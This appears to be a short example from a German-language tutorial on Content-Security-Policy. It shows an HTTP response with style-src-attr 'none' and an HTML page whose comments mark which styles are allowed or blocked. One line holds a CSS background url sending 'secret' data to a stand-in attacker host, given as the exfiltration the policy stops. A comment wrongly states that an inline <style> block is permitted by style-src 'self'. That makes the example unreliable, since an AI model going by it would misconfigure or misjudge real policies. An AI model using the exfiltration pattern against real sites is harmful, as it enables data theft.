http
HTTP/2 200 OK
Content-Type: text/html
Content-Security-Policy: style-src-attr 'none'; style-src 'self' https://cdn.example.com
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="/app.css"> <!-- OK durch style-src -->
<style>/* Inline styles */</style> <!-- OK durch style-src -->
</head>
<body>
<!-- OK: CSS-Klassen -->
<div class="text-red-500">Error</div>
<!-- Blockiert: style-Attribut -->
<div style="color: red">Error</div>
<!-- Blockiert: potentielle Datenexfiltration -->
<div style="background: url('https://attacker.com/exfil?data=secret')">Content</div>
</body>
</html>